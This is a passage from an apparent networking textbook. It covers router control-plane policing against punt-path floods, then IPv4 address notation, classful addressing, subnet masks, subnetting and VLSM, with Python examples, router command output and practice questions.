line_rate_pps = (LINK_GBPS * 1e9) / ((PACKET_BYTES + 20) * 8)
print(f"line rate:        {line_rate_pps/1e6:.2f} Mpps")
print(f"CPU punt budget:  {CPU_PUNT_PPS/1e6:.3f} Mpps")

# An attacker sends TTL=1 packets: every one MUST be punted so the router
# can generate ICMP Time Exceeded.
attack_pps = 100_000
print(f"attack at {attack_pps:,} pps = {attack_pps/line_rate_pps*100:.2f}% of link")
print(f"but {attack_pps/CPU_PUNT_PPS:.0f}x the CPU's punt capacity")
# line rate:        14.88 Mpps
# CPU punt budget:  0.020 Mpps
# attack at 100,000 pps = 0.67% of link
# but 5x the CPU's punt capacity
# The link looks idle. The router stops answering. Routing adjacencies drop.

def copp(punt_class, pps, limits):
    """Control Plane Policing: bound each class of punted traffic."""
    limit = limits.get(punt_class, 1_000)
    accepted = min(pps, limit)
    return accepted, max(0, pps - accepted)

LIMITS = {"bgp": 5_000, "ospf": 2_000, "icmp": 500, "ttl-expired": 500, "arp": 1_000}
for cls, rate in [("bgp", 800), ("ttl-expired", 100_000), ("icmp", 50_000)]:
    ok, dropped = copp(cls, rate, LIMITS)
    print(f"{cls:<12} offered {rate:>7,}  accepted {ok:>6,}  dropped {dropped:>7,}")
# bgp          offered     800  accepted    800  dropped       0   <- protected
# ttl-expired  offered 100,000  accepted    500  dropped  99,500   <- attack capped
# icmp         offered  50,000  accepted    500  dropped  49,500

# Observing the planes independently.

# Data plane healthy? Traffic counters climbing, no CPU involvement.
$ show interfaces GigabitEthernet0/1 | include rate
#   5 minute input rate 4,281,000,000 bits/sec, 812,000 packets/sec
#   5 minute output rate 3,918,000,000 bits/sec, 744,000 packets/sec

# Control plane healthy? CPU and adjacencies.
$ show processes cpu sorted | head -4
# CPU utilization for five seconds: 96%/71%; one minute: 94%
#                                       ^^^ 71% in interrupt = punted packets
# PID Runtime(ms) Invoked  uSecs  5Sec  1Min  Proc
# 174    9281244  8812934     12 21.4% 19.8%  IP Input      <- punt path burning CPU

$ show policy-map control-plane | include drop
#   police rate 500 pps, drop 99,214 packets
#                              ^^^^^^ CoPP absorbed the flood; BGP stayed up

# Graceful restart: the control plane restarts, the data plane does not care.
$ show ip bgp neighbors 10.0.0.2 | include Graceful
#   Graceful Restart Capability: advertised and received
#   Remote Restart timer is 120 seconds
#   ^ peer keeps forwarding with stale routes while our daemon restarts

Key takeaways

• The data plane moves packets in hardware at nanosecond scale; the control plane decides the tables in software at millisecond-to-minute scale; the management plane configures and observes.
• The planes fail differently: a dead data plane stops traffic instantly, while a dead control plane lets traffic continue on a stale FIB until the topology changes.
• Graceful Restart / Non-Stop Forwarding deliberately exploits that property to restart routing software without dropping traffic.
• Certain packets must be punted to the CPU: those addressed to the router, TTL expiry, IP options, unresolved ARP, and FIB misses.
• Punt paths are an attack surface — a flood far below line rate can exhaust the CPU; Control Plane Policing (CoPP) bounds each class.
• SDN promotes this internal split into a network-wide architecture: a centralised controller computing state for simple programmable switches.

🧪 Practice

1. For each event, name the plane involved: an OSPF Hello arriving, TTL being decremented, an operator running show interfaces, a FIB lookup, a BGP session resetting.
2. A router's routing daemon has been dead for ten minutes but users report no problems. Explain why, and predict precisely when they will start reporting problems.
3. Explain how a 100,000 pps flood of TTL=1 packets can take down a router with 10 Gb/s interfaces that are only 1% utilised, and name the countermeasure.
4. Interview-style: What does SDN actually change, given that every traditional router already separates control and data planes internally? (Hint: the split is not new — what is new is where the boundary sits and how many devices one control plane serves.)

<a id="52-ipv4-addressing"></a>

5.2 IPv4 Addressing

This subchapter covers the 32-bit address space that the entire internet was built on: how addresses are written, how they were originally allocated, how that scheme failed, and the prefix-based system that replaced it.

IPv4 Address Structure and Notation

Theory

An IPv4 address is a 32-bit number. That is the whole definition. Everything else — the dots, the classes, the masks — is convention layered on top for human convenience.

Thirty-two bits gives 2^32 = 4,294,967,296 possible values. That sounded generous in 1981, when the entire internet was a few hundred research machines. It is now roughly half the human population, and the space ran out.

Writing a 32-bit number as a decimal (3232235777) or as binary (11000000101010000000000100000001) is unusable in practice, so IPv4 uses dotted-decimal notation: split the 32 bits into four 8-bit groups called octets, write each as a decimal number 0–255, and join them with dots. 192.168.1.1. Each octet is one byte, so each has exactly 256 possible values — which is why 256 and 255 appear everywhere in IPv4 and why 192.168.1.256 is not an address at all.

The crucial structural idea is that an address is not an atomic identifier. It has two parts:

  192.168.1.  |  1
  network part | host part

The network part (prefix) identifies which network the host is on. The host part identifies the specific interface within that network. Where the boundary falls is not encoded in the address — it is supplied separately, by the subnet mask. The same 32 bits mean different things depending on the mask paired with them.

This two-part structure is what makes routing scalable. A router in Tokyo does not need an entry for every host in a German office; it needs one entry for the German office's prefix. Hierarchy compresses the table. If addresses were flat identifiers with no structure — like MAC addresses — then every router would need an entry per host, and the internet could not exist at anything like its current size.

Two further points worth internalising early:

An address names an interface, not a host. A machine with Ethernet and Wi-Fi has two addresses. A router has one per interface, by definition — that is what makes it a router. Saying "the server's IP" is shorthand that quietly breaks on multi-homed machines.

Addresses are location-dependent. An IP address says where you attach to the network, not who you are. Move a laptop to a different network and it gets a different address. This is the root of the mobility problem (Chapter 10) and the reason DNS names, not addresses, are the stable identifiers applications should use.

Examples

One 32-bit number, four ways of writing it

  Binary:    11000000 10101000 00000001 00000001
             \______/ \______/ \______/ \______/
             octet 1  octet 2  octet 3  octet 4
  Decimal:      192  .   168  .     1  .     1
  Hex:           C0        A8        01        01     (0xC0A80101)
  Integer:                3232235777

  Each octet: bit values 128 64 32 16 8 4 2 1
      192 = 128+64          = 11000000
      168 = 128+32+8        = 10101000
        1 = 1               = 00000001


Network part and host part — the mask decides, not the address

  Address 192.168.1.1 with /24:
      11000000 10101000 00000001 | 00000001
      \____________NETWORK______/ \__HOST__/
      network 192.168.1.0, host number 1

  The SAME address with /16:
      11000000 10101000 | 00000001 00000001
      \____NETWORK_____/ \______HOST_______/
      network 192.168.0.0, host number 257

  The bits did not change. Their meaning did.

import ipaddress, struct, socket

addr = "192.168.1.1"

# Every representation is the same 32-bit integer underneath.
as_int = int(ipaddress.IPv4Address(addr))
print(f"dotted : {addr}")
print(f"integer: {as_int}")
print(f"hex    : 0x{as_int:08X}")
print(f"binary : {as_int:032b}")
print(f"octets : {[ (as_int >> s) & 0xFF for s in (24,16,8,0) ]}")
# dotted : 192.168.1.1
# integer: 3232235777
# hex    : 0xC0A80101
# binary : 11000000101010000000000100000001
# octets : [192, 168, 1, 1]

# Converting by hand, to prove nothing magical is happening.
def to_int(dotted):
    a, b, c, d = (int(x) for x in dotted.split("."))
    return (a << 24) | (b << 16) | (c << 8) | d      # shift each octet into place

def to_dotted(n):
    return ".".join(str((n >> s) & 0xFF) for s in (24, 16, 8, 0))

print(to_int("10.0.0.1"), to_dotted(167772161))       # 167772161 10.0.0.1

# The same address split by two different masks.
for plen in (24, 16, 8):
    iface = ipaddress.ip_interface(f"{addr}/{plen}")
    net = iface.network
    host_bits = int(iface.ip) - int(net.network_address)
    print(f"/{plen:<2} -> network {str(net.network_address):<12} host number {host_bits}")
# /24 -> network 192.168.1.0  host number 1
# /16 -> network 192.168.0.0  host number 257
# /8  -> network 192.0.0.0    host number 11010049

# An address belongs to an interface, and a host can have several.
$ ip -4 addr show
# 1: lo    inet 127.0.0.1/8 scope host lo
# 2: eth0  inet 192.168.1.20/24 brd 192.168.1.255 scope global eth0
# 3: wlan0 inet 10.42.0.87/16 brd 10.42.255.255 scope global wlan0
# 4: docker0 inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
#    ^ four interfaces, four addresses, one machine.
#      "the machine's IP address" is not a well-defined phrase here.

$ printf '%d\n' 0xC0A80101      # hex to integer, the same 32 bits again
# 3232235777

Key takeaways

• An IPv4 address is a 32-bit number; dotted decimal is only a human-readable rendering of it.
• 2^32 = 4,294,967,296 total addresses — the cause of exhaustion, and the reason for NAT and IPv6.
• Each octet is one byte, hence the ubiquitous 0–255 range; .256 is not a valid octet.
• Every address has a network part and a host part; the boundary is set by the mask, not by the address itself.
• The same 32 bits mean different networks under different masks — address and mask are inseparable.
• This hierarchy is what makes routing tables aggregatable and therefore finite.
• An address identifies an interface, not a host, and encodes location, not identity.

🧪 Practice

1. Convert 172.16.254.1 to binary, hexadecimal, and a single integer, showing the shifts you used.
2. Given 10.20.30.40, state the network address under /8, /16, and /24, and explain why all three answers are correct.
3. Explain why 192.168.1.300 and 10.0.0.1.5 are both invalid, citing a different reason for each.
4. Interview-style: Why can routing tables hold a million entries for billions of hosts, when a switch's MAC table needs one entry per device? (Hint: compare what structure exists inside an IP address with what structure exists inside a MAC address.)

Classful Addressing and Its Limits

Theory

The original 1981 design had to answer one question: where does the network part end and the host part begin? Carrying a mask alongside every address seemed wasteful, so the designers encoded the answer in the address itself, using the leading bits. This is classful addressing.

Class	Leading bits	First octet	Default mask	Networks	Hosts per network
A	0	1–126	/8 (255.0.0.0)	126 usable	16,777,214
B	10	128–191	/16 (255.255.0.0)	16,384	65,534
C	110	192–223	/24 (255.255.255.0)	2,097,152	254
D	1110	224–239	n/a	multicast	n/a
E	1111	240–255	n/a	reserved / experimental	n/a

(127.x.x.x is carved out of class A for loopback, and 0.x.x.x is reserved, which is why class A has 126 usable networks rather than 128.)

The scheme's virtue was that it was self-describing: a router could look at the first bits of an address and immediately know the prefix length. No mask needed to be carried or configured.

Its defect was equally structural: there were only three sizes, and they were catastrophically far apart.

Consider an organisation with 300 hosts. A class C gives 254 — not enough. The next size up is a class B with 65,534 — 218 times more than needed. There is nothing in between. So the organisation gets a class B, uses 300 addresses, and 65,234 addresses are burned, permanently unusable by anyone else because the block is allocated as a unit.

This produced two distinct crises in the early 1990s, and it matters to keep them separate because they had different solutions:

Address exhaustion. The class B space — only 16,384 blocks — was being consumed far faster than the raw address count suggested, because nearly every medium organisation needed one and nearly every one of them wasted most of it. Projections in 1992 had class B space exhausted within two to three years.

Routing table explosion. The obvious workaround — hand out multiple class C blocks instead of one class B — made the first problem better and the second much worse. An organisation needing 1,000 addresses got four class Cs, meaning four separate, unaggregatable routing entries. Backbone routing tables were growing faster than router memory, and the forecast was that core routers would simply stop being buildable.

Both problems trace back to the same root cause: fixed, coarse boundaries with no way to express an intermediate size. The solution, CIDR, was to abandon classes entirely and let the prefix length be any value from /0 to /32 — carried explicitly with the route instead of inferred from the address. CIDR was standardised in 1993, and classful addressing has been formally obsolete ever since.

It nevertheless survives in three places you will meet in practice, which is why it is still worth knowing:

• Default masks in tooling. Type 192.168.1.1 into an older configuration dialog and it may assume /24.
• Vocabulary. "A class C" is still used colloquially to mean "a /24", and "the 10 space" means the old class A private block.
• Classful routing protocols. RIPv1 and IGRP did not carry masks in their updates, which made them unable to support VLSM. This is the direct historical reason RIPv2, OSPF, EIGRP and IS-IS are described as classless — carrying a mask with every route is the feature that defines them.

Examples

The three sizes, drawn to scale (log-ish)

  Class C:   254 hosts         |
  Class B:   65,534 hosts      |################################
  Class A:   16,777,214 hosts  |################################...(x256)

  An organisation with 300 hosts:

     need:  300
     C:     254   ----- too small by 46
     B:  65,534   ----- 65,234 addresses wasted (99.5%)
                        and no option exists in between


Where the class boundaries are, in binary

  0xxxxxxx ...  ->  A   first octet   1-126
  10xxxxxx ...  ->  B   first octet 128-191
  110xxxxx ...  ->  C   first octet 192-223
  1110xxxx ...  ->  D   first octet 224-239   multicast
  1111xxxx ...  ->  E   first octet 240-255   reserved

  The class is READ FROM THE ADDRESS. No mask is transmitted.
  That is the whole idea — and the whole problem.

def classify(addr):
    first = int(addr.split(".")[0])
    if first == 0 or first == 127:
        return ("special", None, 0)
    if first < 128:   return ("A", 8,  2**24 - 2)
    if first < 192:   return ("B", 16, 2**16 - 2)
    if first < 224:   return ("C", 24, 2**8 - 2)
    if first < 240:   return ("D (multicast)", None, 0)
    return ("E (reserved)", None, 0)

for a in ["10.0.0.1", "127.0.0.1", "172.16.5.9", "192.168.1.1", "224.0.0.9", "240.0.0.1"]:
    cls, plen, hosts = classify(a)
    plen_s = f"/{plen}" if plen else "-"
    print(f"{a:<14} class {cls:<15} {plen_s:<4} {hosts if hosts else '':>10}")
# 10.0.0.1       class A               /8    16777214
# 127.0.0.1      class special         -
# 172.16.5.9     class B               /16      65534
# 192.168.1.1    class C               /24        254
# 224.0.0.9      class D (multicast)   -
# 240.0.0.1      class E (reserved)    -

# The waste, quantified.
def classful_waste(needed):
    for cls, cap in (("C", 254), ("B", 65534), ("A", 16777214)):
        if needed <= cap:
            wasted = cap - needed
            return cls, cap, wasted, 100 * wasted / cap
    return None

for needed in (50, 300, 2000, 70000):
    cls, cap, wasted, pct = classful_waste(needed)
    print(f"need {needed:>6} -> class {cls} ({cap:>8} addrs)  wasted {wasted:>8} ({pct:5.1f}%)")
# need     50 -> class C (     254 addrs)  wasted      204 ( 80.3%)
# need    300 -> class B (   65534 addrs)  wasted    65234 ( 99.5%)
# need   2000 -> class B (   65534 addrs)  wasted    63534 ( 96.9%)
# need  70000 -> class A (16777214 addrs)  wasted 16707214 ( 99.6%)

# The workaround that traded one crisis for the other.
needed = 1000
c_blocks = -(-needed // 254)          # ceiling division
print(f"\n{needed} hosts as class Cs: {c_blocks} blocks = {c_blocks} routing entries")
print(f"{needed} hosts as one class B: 1 routing entry, {65534-needed} wasted")
# 1000 hosts as class Cs: 4 blocks = 4 routing entries
# 1000 hosts as one class B: 1 routing entry, 64534 wasted

# Classful ghosts in modern tooling.

# A classful protocol cannot carry a mask, so it cannot support VLSM:
$ vtysh -c "show ip rip"
# Network            Next Hop     Metric From
# 172.16.0.0         10.0.0.2          2 10.0.0.2
#        ^^^^^^ RIPv1 summarised to the classful /16 automatically,
#               discarding the real /24 that was configured. Subnets vanish.

# Classless protocols carry the prefix length explicitly — the whole point:
$ vtysh -c "show ip ospf database" | head -3
# Link State ID   ADV Router   Age  Seq#      Route
# 172.16.5.0      10.0.0.2     341  80000003  172.16.5.0/24
#                                                        ^^^ mask present

Key takeaways

• Classful addressing encoded the prefix length in the leading bits of the address, so no mask had to be carried.
• Three usable sizes only: A (/8, 16.7M hosts), B (/16, 65K hosts), C (/24, 254 hosts), plus D for multicast and E reserved.
• The sizes are 256x apart, so an organisation needing 300 hosts had to take a class B and waste 99.5% of it.
• This caused two separate crises: class B exhaustion and, via the multiple-class-C workaround, routing table explosion.
• CIDR (1993) abandoned classes and made prefix length explicit and arbitrary (/0 to /32), solving both.
• Classful thinking survives in default masks, in vocabulary ("a class C"), and in the classless vs classful protocol distinction — RIPv1 and IGRP carried no mask and therefore could not support VLSM.

🧪 Practice

1. State the class, default mask, and host capacity for 8.8.8.8, 172.31.255.1, 200.1.1.1, and 239.255.255.250.
2. An organisation needs 2,000 addresses. Compute the waste under a class B allocation, and the number of routing entries under a class C allocation. Explain the trade-off in one sentence.
3. Explain why RIPv1 cannot support a network using both /24 and /27 subnets of the same class B.
4. Interview-style: Class B exhaustion and routing table explosion were both caused by classful addressing, yet fixing one made the other worse. Explain the mechanism, and why CIDR fixed both at once. (Hint: the first is about granularity of allocation, the second about the ability to aggregate — CIDR changed the same property for both.)

Subnet Masks and Prefix Notation

Theory

Since the class no longer tells you where the network part ends, something else must. That something is the subnet mask: a second 32-bit value whose job is to mark the boundary.

The rule is mechanical. A mask has 1 bits for every bit belonging to the network part, and 0 bits for every bit belonging to the host part, and the 1s must be contiguous and leftmost. 255.255.255.0 is 11111111 11111111 11111111 00000000 — 24 ones then 8 zeros, so the first 24 bits are network and the last 8 are host.

Because the 1s are always contiguous, the mask carries exactly one piece of information: how many of them there are. That makes the long dotted form redundant, and CIDR notation writes it as a suffix instead: /24 means the same thing as 255.255.255.0, in three characters instead of thirteen. Modern practice uses /24 almost exclusively; 255.255.255.0 survives in GUIs and in some vendor CLIs.

Three derived values fall out of an address-plus-mask pair, and computing them fluently is the core skill of this subchapter:

Network address. address AND mask. Every host bit forced to 0. This is the name of the network, and it is what appears in routing tables. It is not assignable to a host.

Broadcast address. address OR (NOT mask). Every host bit forced to 1. A packet sent here is delivered to every host on that subnet. Also not assignable.

Usable host range. Everything strictly between them: 2^host_bits - 2 addresses. The minus two is exactly those two reserved values.

The /31 and /32 cases are worth noting because they break the minus-two rule deliberately. A /31 has only two addresses and would have zero usable hosts, but RFC 3021 allows it for point-to-point links, where there is no meaningful broadcast — both addresses are usable, and it halves the waste compared with the traditional /30. A /32 is a single address with no network or broadcast semantics at all, used for loopbacks and host routes.

A mask is also a local matter, not a global one. Two routers on opposite sides of the internet can and do use different masks. The mask matters only to the devices on that link and to the routes advertised for it. But a mismatched mask between two hosts on the same link is a classic, confusing fault: each computes a different network address, so one believes the other is local while the other believes the first is remote, producing traffic that flows in one direction only.

Examples

The mask marks the boundary, bit by bit

  Address    192.168.1.130   11000000 10101000 00000001 10000010
  Mask /26   255.255.255.192 11111111 11111111 11111111 11000000
                             \_____________________________/\____/
                                    26 network bits          6 host bits

  AND -> network address
             192.168.1.128   11000000 10101000 00000001 10000000

  OR NOT mask -> broadcast
             192.168.1.191   11000000 10101000 00000001 10111111

  Usable hosts: 192.168.1.129 .. 192.168.1.190    (2^6 - 2 = 62)


The mask values you will actually meet (a mask octet is never arbitrary)

  /24  255.255.255.0     11111111  = 255    256 addrs   254 hosts
  /25  255.255.255.128   10000000  = 128    128 addrs   126 hosts
  /26  255.255.255.192   11000000  = 192     64 addrs    62 hosts
  /27  255.255.255.224   11100000  = 224     32 addrs    30 hosts
  /28  255.255.255.240   11110000  = 240     16 addrs    14 hosts
  /29  255.255.255.248   11111000  = 248      8 addrs     6 hosts
  /30  255.255.255.252   11111100  = 252      4 addrs     2 hosts
  /31  255.255.255.254   11111110  = 254      2 addrs     2 hosts (RFC 3021, P2P)
  /32  255.255.255.255   11111111  = 255      1 addr      1 (host route)

  Only these eight values can ever appear in a mask octet:
  0, 128, 192, 224, 240, 248, 252, 254, 255.
  Anything else (e.g. 255.255.255.100) is malformed.

import ipaddress

def dissect(addr, plen):
    iface = ipaddress.ip_interface(f"{addr}/{plen}")
    net = iface.network
    total = net.num_addresses
    usable = total if plen >= 31 else total - 2          # /31 and /32 are special
    first = net.network_address + (0 if plen >= 31 else 1)
    last  = net.broadcast_address - (0 if plen >= 31 else 1)
    return {
        "address":   str(iface.ip),
        "mask":      str(net.netmask),
        "wildcard":  str(net.hostmask),                  # inverse mask (ACLs)
        "network":   str(net.network_address),
        "broadcast": str(net.broadcast_address) if plen < 31 else "n/a",
        "range":     f"{first} - {last}",
        "usable":    usable,
    }

for addr, plen in [("192.168.1.130", 26), ("10.5.200.17", 20), ("172.16.9.6", 30)]:
    d = dissect(addr, plen)
    print(f"\n{addr}/{plen}")
    for k, v in d.items():
        print(f"   {k:<10} {v}")
#
# 192.168.1.130/26
#    address    192.168.1.130
#    mask       255.255.255.192
#    wildcard   0.0.0.63
#    network    192.168.1.128
#    broadcast  192.168.1.191
#    range      192.168.1.129 - 192.168.1.190
#    usable     62
#
# 10.5.200.17/20
#    address    10.5.200.17
#    mask       255.255.240.0
#    wildcard   0.0.15.255
#    network    10.5.192.0
#    broadcast  10.5.207.255
#    range      10.5.192.1 - 10.5.207.254
#    usable     4094
#
# 172.16.9.6/30
#    address    172.16.9.6
#    mask       255.255.255.252
#    wildcard   0.0.0.3
#    network    172.16.9.4
#    broadcast  172.16.9.7
#    range      172.16.9.5 - 172.16.9.6
#    usable     2

# Doing it by hand with bitwise operations — no library, no magic.

def to_int(d):   return int.from_bytes(bytes(int(x) for x in d.split(".")), "big")
def to_str(n):   return ".".join(str(b) for b in n.to_bytes(4, "big"))

def manual(addr, plen):
    a = to_int(addr)
    mask = (0xFFFFFFFF << (32 - plen)) & 0xFFFFFFFF     # plen ones, then zeros
    network   = a & mask                                # force host bits to 0
    broadcast = a | (~mask & 0xFFFFFFFF)                # force host bits to 1
    return to_str(mask), to_str(network), to_str(broadcast)

print(manual("192.168.1.130", 26))
# ('255.255.255.192', '192.168.1.128', '192.168.1.191')

# The "same subnet?" test every host runs before sending a packet.
def same_subnet(a, b, plen):
    mask = (0xFFFFFFFF << (32 - plen)) & 0xFFFFFFFF
    return (to_int(a) & mask) == (to_int(b) & mask)

print(same_subnet("192.168.1.130", "192.168.1.190", 26))   # True  -> ARP directly
print(same_subnet("192.168.1.130", "192.168.1.200", 26))   # False -> send to gateway

# Mismatched masks: the asymmetric-reachability fault.
A, B = "192.168.1.130", "192.168.1.200"
print("host A thinks (/24):", same_subnet(A, B, 24))       # True  -> ARPs for B
print("host B thinks (/26):", same_subnet(B, A, 26))       # False -> sends to gateway
# A believes B is local; B believes A is remote. Traffic works one way and
# mysteriously fails the other. Always suspect masks on asymmetric failures.

# Masks in the wild.
$ ip addr show eth0 | grep inet
#     inet 192.168.1.130/26 brd 192.168.1.191 scope global eth0
#                       ^^^ CIDR         ^^^^^^^^^^^^^ kernel derived the broadcast

$ ipcalc 192.168.1.130/26
# Address:   192.168.1.130        11000000.10101000.00000001.10 000010
# Netmask:   255.255.255.192 = 26 11111111.11111111.11111111.11 000000
# Wildcard:  0.0.0.63             00000000.00000000.00000000.00 111111
# Network:   192.168.1.128/26     11000000.10101000.00000001.10 000000
# HostMin:   192.168.1.129
# HostMax:   192.168.1.190
# Broadcast: 192.168.1.191
# Hosts/Net: 62

# The wildcard mask (inverse) is what ACLs and OSPF network statements use:
# access-list 10 permit 192.168.1.128 0.0.0.63
#                                     ^^^^^^^^ 0 = must match, 1 = don't care

Key takeaways

• A subnet mask is 32 bits: contiguous leftmost 1s for the network part, 0s for the host part.
• Because the 1s are contiguous, only their count matters — hence CIDR notation (/24 == 255.255.255.0).
• Network address = address AND mask; broadcast = address OR NOT mask; usable hosts = 2^host_bits - 2.
• Valid mask octet values are only 0, 128, 192, 224, 240, 248, 252, 254, 255.
• /31 is legal on point-to-point links (RFC 3021, both addresses usable); /32 is a single host route.
• A host uses the mask to answer one question per packet: same subnet (ARP directly) or not (send to the gateway).
• Mismatched masks on one link cause asymmetric reachability — one side treats the other as local while the reverse is not true.
• The wildcard mask is the bitwise inverse, used in ACLs and OSPF network statements.

🧪 Practice

1. For 172.20.45.200/21, compute the mask in dotted decimal, the network address, the broadcast address, the usable range, and the host count.
2. Explain why 255.255.255.100 cannot be a valid mask, using its binary form.
3. Host X is 10.0.0.5/24 and host Y is 10.0.0.130/25. Determine which can reach which directly, and explain the asymmetry.
4. Interview-style: Why is a /31 permitted on a point-to-point link when the formula says it has -0 usable hosts, and what does using /30 instead cost at scale? (Hint: count how many addresses a /30 consumes per link, and multiply by the number of links in a large service provider network.)

Subnetting and VLSM

Theory

Subnetting is borrowing bits from the host part to create additional network bits, dividing one network into several smaller ones. If you hold 192.168.1.0/24 — one network, 254 hosts — and you need four separate networks, you borrow two bits: 2^2 = 4 subnets, each a /26 with 62 usable hosts.

Why do it at all, when one flat network is simpler? Four reasons, and they compound:

Broadcast containment. Every host on a subnet receives every broadcast on it. A flat network of 4,000 hosts means every ARP request interrupts 4,000 NICs. Subnets bound this cost.

Security. Traffic between subnets must cross a router, and a router is a place where an ACL or a firewall policy can be applied. A flat network offers no such control point.

Organisation. Subnets can map to departments, floors, or functions, making addressing self-documenting and policy easier to express.

Fault isolation. A broadcast storm, or a misbehaving host, is confined to its own subnet.

The mechanical rule for sizing is worth stating precisely because it is the source of most errors: you size a subnet by host bits, not by host count. To support N hosts you need the smallest h satisfying 2^h - 2 >= N. Twenty-eight hosts needs 5 bits (30 usable), not 4 (14 usable) — and because sizes only come in powers of two, a requirement of 33 hosts jumps you from a /26 to a /25.

Fixed-length subnetting cuts a block into equal pieces. It is simple, and it is wasteful whenever the subnets have different sizes — which they almost always do. A point-to-point WAN link needs exactly 2 addresses; giving it a /26 with 62 wastes 60.

VLSM (Variable Length Subnet Masking) is subnetting applied recursively with different mask lengths, so each subnet is sized to its actual need. It requires a classless routing protocol (OSPF, EIGRP, IS-IS, RIPv2, BGP) because masks must be advertised per route.

The VLSM procedure is a short algorithm, and following it exactly prevents overlaps:

1. List every subnet with its host requirement.
2. Sort descending by size. This is the step people skip, and skipping it causes fragmentation and overlap.
3. Allocate the largest first, from the start of the block.
4. Each subnet must begin on a boundary that is a multiple of its own size — a /26 starts at a multiple of 64, a /28 at a multiple of 16.
5. Continue with the next largest from where the previous one ended.

Allocating largest-first works for the same reason it works in memory allocation: a large block can always be carved out of aligned free space at the start, whereas allocating small blocks first leaves holes too small and misaligned to hold the large ones later.

Examples

Subnetting 192.168.1.0/24 into four /26s (fixed length)

  /24 = 256 addresses.  Borrow 2 bits -> 4 subnets of 64.

  bits:  11000000 10101000 00000001 SS hhhhhh
                                    ^^ borrowed  ^^^^^^ host bits left

  SS=00  192.168.1.0/26     .0   net    .1  - .62   hosts   .63  bcast
  SS=01  192.168.1.64/26    .64  net    .65 - .126  hosts   .127 bcast
  SS=10  192.168.1.128/26   .128 net    .129- .190  hosts   .191 bcast
  SS=11  192.168.1.192/26   .192 net    .193- .254  hosts   .255 bcast

  Note the "magic number": 256 - 192 = 64 = the subnet size = the step
  between consecutive network addresses.


VLSM on the same /24 — sized to actual need

  Requirements:  Sales 100, Eng 50, Ops 20, WAN link 2

  sorted descending, allocated from the front:

  0        64       128      192  224  228            255
  |--------|--------|--------|----|----|--------------|
  |     Sales /25    |  Eng  |Ops |WAN |   free       |
  |      (126)       | /26   |/27 |/30 |   .228-.255  |
  |                  | (62)  |(30)|(2) |   28 addrs   |
     .0-.127           .128    .192  .224
                       -.191   -.223 -.227

  Fixed /26 everywhere would have given Sales only 62 (too few)
  and the WAN link 62 (60 wasted). VLSM fits both.


Why descending order matters

  WRONG (small first):  WAN /30 at .0, Ops /27 must start at .32 (aligned),
                        Eng /26 at .64, Sales /25 needs a multiple of 128
                        -> only .128 works, leaving .4-.31 and .96-.127
                           stranded as unusable holes.

import ipaddress, math

def bits_needed(hosts):
    """Smallest h with 2^h - 2 >= hosts."""
    h = 2
    while (2 ** h) - 2 < hosts:
        h += 1
    return h

def vlsm(block, requirements):
    net = ipaddress.ip_network(block)
    # STEP 2: sort descending by requirement — the critical step.
    ordered = sorted(requirements.items(), key=lambda kv: kv[1], reverse=True)
    cursor = int(net.network_address)
    plan = []
    for name, hosts in ordered:
        plen = 32 - bits_needed(hosts)
        size = 2 ** (32 - plen)
        # STEP 4: align the start to a multiple of the subnet's own size.
        if cursor % size:
            cursor += size - (cursor % size)
        sub = ipaddress.ip_network((cursor, plen))
        if sub.broadcast_address > net.broadcast_address:
            raise ValueError(f"{name}: block exhausted")
        plan.append((name, hosts, sub))
        cursor = int(sub.broadcast_address) + 1          # STEP 5
    leftover = int(net.broadcast_address) - cursor + 1
    return plan, leftover

plan, leftover = vlsm("192.168.1.0/24",
                      {"Sales": 100, "Engineering": 50, "Ops": 20, "WAN-link": 2})

print(f"{'Subnet':<12}{'Need':>5}{'Prefix':>20}{'Usable':>8}{'Range':>32}")
for name, need, sub in plan:
    usable = sub.num_addresses - 2
    rng = f"{sub.network_address + 1} - {sub.broadcast_address - 1}"
    print(f"{name:<12}{need:>5}{str(sub):>20}{usable:>8}{rng:>32}")
print(f"\nunallocated addresses remaining: {leftover}")
# Subnet       Need              Prefix  Usable                           Range
# Sales         100     192.168.1.0/25     126     192.168.1.1 - 192.168.1.126
# Engineering    50   192.168.1.128/26      62   192.168.1.129 - 192.168.1.190
# Ops            20   192.168.1.192/27      30   192.168.1.193 - 192.168.1.222
# WAN-link        2   192.168.1.224/30       2   192.168.1.225 - 192.168.1.226
#
# unallocated addresses remaining: 28

# Compare with fixed-length subnetting.
fixed = ipaddress.ip_network("192.168.1.0/24").subnets(new_prefix=26)
print("\nfixed /26 everywhere:")
for name, need in [("Sales",100),("Engineering",50),("Ops",20),("WAN-link",2)]:
    sub = next(fixed)
    fits = "OK" if need <= 62 else "TOO SMALL"
    print(f"  {name:<12} {str(sub):<20} 62 usable, need {need:<4} {fits}")
# fixed /26 everywhere:
#   Sales        192.168.1.0/26       62 usable, need 100  TOO SMALL
#   Engineering  192.168.1.64/26      62 usable, need 50   OK
#   Ops          192.168.1.128/26     62 usable, need 20   OK
#   WAN-link     192.168.1.192/26     62 usable, need 2    OK
# Fixed length cannot serve Sales at all, and wastes 60 addresses on the WAN link.

# The "magic number" shortcut for subnetting in your head — no binary needed.

def magic(mask_octet, address_octet):
    step = 256 - mask_octet              # the subnet size in that octet
    network = (address_octet // step) * step
    return step, network, network + step - 1

for mask_octet, octet in [(192, 130), (224, 200), (240, 77), (248, 19)]:
    step, net, bcast = magic(mask_octet, octet)
    plen = 24 + {128:1,192:2,224:3,240:4,248:5,252:6,254:7}[mask_octet]
    print(f"/{plen} (mask .{mask_octet}) step={step:<4} .{octet} lies in .{net}-.{bcast}")
# /26 (mask .192) step=64   .130 lies in .128-.191
# /27 (mask .224) step=32   .200 lies in .192-.223
# /28 (mask .240) step=16   .77 lies in .64-.79
# /29 (mask .248) step=8    .19 lies in .16-.23

# Enumerating subnets from the shell.
$ ipcalc -s 100 50 20 2 192.168.1.0/24     # VLSM plan, sorted for you
$ python3 -c "
import ipaddress
for s in ipaddress.ip_network('10.4.0.0/22').subnets(new_prefix=26):
    print(s, s.network_address+1, '-', s.broadcast_address-1)" | head -3
# 10.4.0.0/26 10.4.0.1 - 10.4.0.62
# 10.4.0.64/26 10.4.0.65 - 10.4.0.126
# 10.4.0.128/26 10.4.0.129 - 10.4.0.190

Key takeaways

• Subnetting borrows bits from the host part: borrowing n bits yields 2^n subnets, each with 2^(32-plen) - 2 usable hosts.
• Motivations: broadcast containment, security boundaries at the router, organisation, and fault isolation.
• Size by host bits, not host count: find the smallest h where 2^h - 2 >= N; sizes only exist in powers of two.
• Fixed-length subnetting is simple but wastes heavily when subnets differ in size.
• VLSM sizes each subnet to its need and requires a classless routing protocol that advertises masks.
